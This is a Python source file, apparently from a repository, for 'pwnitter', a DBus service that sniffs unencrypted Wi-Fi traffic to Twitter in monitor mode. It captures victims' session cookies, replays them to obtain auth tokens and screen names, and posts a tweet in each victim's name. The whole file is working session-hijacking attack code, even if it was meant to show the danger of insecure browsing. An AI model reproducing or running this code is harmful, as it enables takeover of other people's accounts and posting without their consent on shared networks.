Added OptParse interface and selection of the DBus to be used (Session/System)
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import socket
12 import time
13 import gobject
14 import select
15 import subprocess
16
17 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
18
19 def usage(): 
20     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
21     sys.exit(1)
22
23 NAME = 'de.cryptobitch.muelli.Pwnitter'
24
25 class Pwnitter(dbus.service.Object):
26     def __init__(self, bus, object_name, device='mon0'):
27         super(Pwnitter, self).__init__(bus, object_name)
28         self.device = device
29         
30         self.status = status
31         self.is_running = False
32
33     def setup_monitor(device='mon0'):
34         # FIXME: Replace hardcoded interface 
35         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
36         subprocess.call(cmd)
37         cmd = '/sbin/ifconfig mon0 up'.split()
38         subprocess.call(cmd)
39     
40     @dbus.service.method(NAME,
41                          in_signature='', out_signature='')
42     def Start(self, filename=None):
43         # FIXME: Prevent double Start()
44         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
45             self.setup_monitor(self.device)
46         self.is_running = True
47         try:
48             self.cap = pcap.pcap(device)
49         except OSError, e:
50             print "Error setting up %s" % device
51             raise e
52         self.cap.setfilter('dst port 80')
53         cap_fileno = self.cap.fileno()
54         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
55
56     @dbus.service.method(NAME,
57                          in_signature='s', out_signature='')
58     def StartFromFile(self, filename):
59         return self.Start(filename=filename)
60
61     
62     def cap_readable_callback(self, source, condition, device):
63         return self.pwn(device, self.MessageSent)
64         
65     @dbus.service.signal(NAME)
66     def MessageSent(self, who):
67         print "Emitting MessageSent"
68         return who
69         return False
70         pass
71
72     @dbus.service.method(NAME,
73                          in_signature='s', out_signature='')
74     def SetMessage(self, message):
75         self.status = message
76         
77     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
78                          in_signature='', out_signature='s')
79     def GetMessage(self):
80         return self.status
81
82
83     def tear_down_monitor(device='mon0'):
84         cmd = '/sbin/ifconfig mon0 down'.split()
85         subprocess.call(cmd)
86         cmd = '/usr/sbin/iw dev mon0 del'.split()
87         subprocess.call(cmd)
88     
89     @dbus.service.method(NAME,
90                          in_signature='', out_signature='')
91     def Stop(self):
92         self.is_running = False
93         print "Receive Stop"
94         gobject.source_remove(self.source_id)
95         self.tear_down_monitor(self.device)
96         loop.quit()
97
98
99     def pwn(self, device, tweeted_callback=None):
100         processed = {}
101         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
102             ts, raw = self.cap.next()
103             eth = dpkt.ethernet.Ethernet(raw)
104             #print 'got a packet'  
105             # Depending on platform, we can either get fully formed packets or unclassified radio data
106             if isinstance(eth.data, str):
107                 data = eth.data
108             else:
109                 data = eth.data.data.data
110
111             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
112             if hostMatches:
113                 print 'Host matched'
114                 host = hostMatches.group(1)
115
116                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
117                 if cookieMatches:
118                     cookie = cookieMatches.group(1)
119
120                     headers = {
121                         "User-Agent": "Mozilla/5.0",
122                         "Cookie": cookie,
123                     }
124                     
125                     conn = httplib.HTTPSConnection(host)
126                     try:
127                         conn.request("GET", "/", None, headers)
128                     except socket.error, e:
129                         print e
130                     else:
131                         response = conn.getresponse()
132                         page = response.read()
133
134                         # Newtwitter and Oldtwitter have different formatting, so be lax
135                         authToken = ''
136
137                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
138                         if formMatches:
139                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
140
141                             if authMatches:
142                                 authToken = authMatches.group(1)
143
144                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
145                         if not nameMatches:
146                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
147
148                         name = ''
149                         if nameMatches:
150                             name = nameMatches.group(1)
151
152
153                         # We don't want to repeatedly spam people
154                         # FIXME: What the fuck logic. Please clean up
155                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
156                             headers = {
157                                 "User-Agent": "Mozilla/5.0",
158                                 "Accept": "application/json, text/javascript, */*",
159                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
160                                 "X-Requested-With": "XMLHttpRequest",
161                                 "X-PHX": "true",
162                                 "Referer": "http://api.twitter.com/p_receiver.html",
163                                 "Cookie": cookie
164                             }
165
166
167                             print 'Issueing connection'
168                             if host == 'mobile.twitter.com':
169
170                                 params = urllib.urlencode({
171                                     'tweet[text]': self.status,
172                                     'authenticity_token': authToken
173                                 })
174
175                                 conn = httplib.HTTPConnection("mobile.twitter.com")
176                                 conn.request("POST", "/", params, headers)
177
178                             else:
179
180                                 params = urllib.urlencode({
181                                     'status': self.status,
182                                     'post_authenticity_token': authToken
183                                 })
184
185                                 conn = httplib.HTTPConnection("api.twitter.com")
186                                 conn.request("POST", "/1/statuses/update.json", params, headers)
187
188
189                             response = conn.getresponse()
190                             print 'Got response: %s' % response.status
191                             if response.status == 200 or response.status == 302 or response.status == 403:
192
193                                 if name:
194                                     processed[name] = 1
195
196                                 # 403 is a dupe tweet
197                                 if response.status != 403:
198                                     print "Successfully tweeted as %s" % name
199                                     print 'calling %s' % tweeted_callback
200                                     if tweeted_callback:
201                                         tweeted_callback(name)
202                                 else:
203                                     print 'Already tweeted as %s' % name
204
205                             else:
206
207                                 print "FAILED to tweet as %s, debug follows:" % name
208                                 print response.status, response.reason
209                                 print response.read() + "\n"
210         return self.is_running # Execute next time, we're idle
211     # FIXME: Ideally, check     whether Pcap has got data for us
212
213 def main():
214
215     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
216     device = None
217     for o, a in opts:
218         if o == '-i':
219             device = a
220         else:
221             usage()
222     #pwn(device)
223
224
225
226 if __name__ == '__main__':
227     from optparse import OptionParser
228     parser = OptionParser("usage: %prog [options]")
229     parser.add_option("-l", "--loglevel", dest="loglevel", 
230                       help="Sets the loglevel to one of debug, info, warn, error, critical")
231     parser.add_option("-s", "--session", dest="use_session_bus",
232                       action="store_true", default=False,
233                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
234     (options, args) = parser.parse_args()
235     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
236                 'warn': logging.WARN, 'error': logging.ERROR,
237                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
238     logging.basicConfig(level=loglevel)
239     log = logging.getLogger("Main")
240
241     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
242
243     if options.use_session_bus:
244         session_bus = dbus.SessionBus()
245     else:
246         session_bus = dbus.SystemBus()
247     name = dbus.service.BusName(NAME, session_bus)
248     pwnitter = Pwnitter(session_bus, '/Pwnitter')
249     #object.Start()
250
251     loop = gobject.MainLoop()
252     print "Running example signal emitter service."
253     # FIXME: This is debug code
254     #gobject.idle_add(pwnitter.MessageSent)
255     
256     loop.run()
257     print "Exiting for whatever reason"
258     #main()